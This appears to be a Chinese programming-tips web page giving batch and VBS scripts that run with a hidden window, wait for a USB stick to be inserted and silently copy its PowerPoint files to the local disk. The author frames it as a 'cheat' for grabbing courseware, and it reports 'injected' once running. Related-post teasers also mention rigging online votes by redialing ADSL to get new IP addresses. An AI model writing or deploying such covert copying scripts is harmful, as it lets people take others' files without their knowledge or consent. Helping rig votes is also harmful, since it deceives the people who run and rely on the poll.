568数据 568数据


vbs 自动复制U盘的内容

网络编程 vbs 自动复制U盘的内容 06-22
思路很简单,高层的东西没什么技术含量,引用几个函数或方法就行了。开始我用的是批处理(如果你插入U盘的盘符是J,把课件保存于F盘)打开记事本,键入以下内容:

:cheat
ping 127.0.0.1>nul
if exist J:*.ppt (copy J:*.ppt F: && exit) else goto cheat

保存为main.bat,本来这个文件就够实现此功能了,但我想不到有什么DOS命令可以隐藏命令提示符界面,就不得不编了一个vbs脚本专门干这事:

打开记事本键入:

set wshshell=createobject("wscript.shell")
wshshell.run "main.bat",0
msgbox"已经注入",48,"夜月"
wscript.quit

保存为starter.vbs,注意这个文件要和main.bat放于同一目录下。然后双击starter.vbs即可运行。

  后来,我想用vbs脚本可以搞得更牛叉一点,但这东西已经好长时间不玩了,我连inputbox都不知道怎么用的了,试了几次才搞得好了一点。很方便,打开记事本,键入:

on error resume next
dim udrive,dfold,src,ptr
set fso=createobject("Scripting.FileSystemObject")
do
udrive=inputbox("请按如下形式输入U盘盘符","用户指令",H)
loop until(udrive<="Z" and udrive>"B")
dfold=inputbox("请输入目标文件夹","用户指令","F:Temp")
if (not fso.folderexists(dfold)) then
fso.createfolder(dfold)
end if
src=udrive + ":*.ppt"
ptr=dfold + ""
do while(1=1)
if fso.driveexists(udrive) then
fso.copyfile src,ptr,true
set fso=nothing
wscript.quit
end if
wscript.sleep 2000
loop


以上内容另存为xue.vbs即可,双击后运行。

用vbs实现的利用ADSL拨号变ip刷投票的代码
以前写过一个利用ADSL拨号变ip刷流量的vbs,只要把刷新的页面稍微改一下(添加个自动提交的js)就是了,可是怎么找都找不到了,没法重新写。还有种

VBS 断网后自动关机30秒后
DimWsh,objWMIService,colMonitoredEventsSetWsh=WScript.CreateObject("WScript.Shell")SetobjWMIService=GetObject("winmgmts:.ootwmi")SetcolMonitoredEvents=objWMIService.ExecNotificationQuery("Select*from

写个设置命令的VBS脚本代码
'作者:刘先勇(EricLiu)'将以下代码复制并保存为"系统命令.VBS",并运行安装。'安装成功后,可通过在程序、文件或文件夹上点右键-发送到-系统命令来设


编辑:568数据

标签:命令,脚本,记事本,双击,代码